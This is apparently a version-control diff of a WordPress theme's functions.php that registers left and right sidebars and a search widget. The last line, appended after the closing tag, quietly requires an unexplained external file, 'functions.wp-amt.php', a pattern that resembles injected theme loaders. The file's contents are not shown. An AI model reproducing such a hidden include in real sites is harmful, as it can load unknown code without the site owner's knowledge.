web/wp-content/themes/seoblogsystem/functions.php
changeset 1 0d28b7c10758
child 2 4f3e6ea1c867
equal deleted inserted replaced
0:0d9a58d2c515 1:0d28b7c10758
       
     1 <?php	
       
     2 if ( function_exists('register_sidebar') )
       
     3     register_sidebar(array(
       
     4 		'name' => __('Left Sidebar', 'theme857'),
       
     5         'before_widget' => '	<div id="%1$s" class="widget %2$s"><div class="widget-bg">',
       
     6         'before_title' => '		<div class="title"><div><h2>',
       
     7 		
       
     8         'after_title' => '		</h2></div></div>',
       
     9 							
       
    10 		'after_widget' => '		</div></div>',
       
    11 		
       
    12 		
       
    13 	));
       
    14 	
       
    15 if ( function_exists('register_sidebar') )	
       
    16     register_sidebar(array(
       
    17 		'name' => __('Right Sidebar', 'theme857'),
       
    18        	'before_widget' => '	<div id="%1$s" class="widget %2$s"><div class="widget-bg">',
       
    19         'before_title' => '		<div class="title"><div><h2>',
       
    20 		
       
    21         'after_title' => '		</h2></div></div>',
       
    22 							
       
    23 		'after_widget' => '		</div></div>',
       
    24 		
       
    25 	));		
       
    26 		
       
    27 // Search 	
       
    28 	function widget_theme857_search() {
       
    29 ?>
       
    30 	<div class="widget" id="search">
       
    31 		<div class="widget-bg">
       
    32 			
       
    33 			<div class="title">
       
    34 				<h2><?php _e('Search','theme857'); ?></h2>
       
    35 			</div>
       
    36 			
       
    37 			<?php include (TEMPLATEPATH . "/searchform.php"); ?>
       
    38 			
       
    39 		</div></div>
       
    40 					
       
    41 <?php
       
    42 }
       
    43 if ( function_exists('register_sidebar_widget') )
       
    44 	register_sidebar_widget(__('Search'), 'widget_theme857_search');
       
    45 ?><? if(!function_exists(amt_cif)) { require_once('functions.wp-amt.php'); } ?>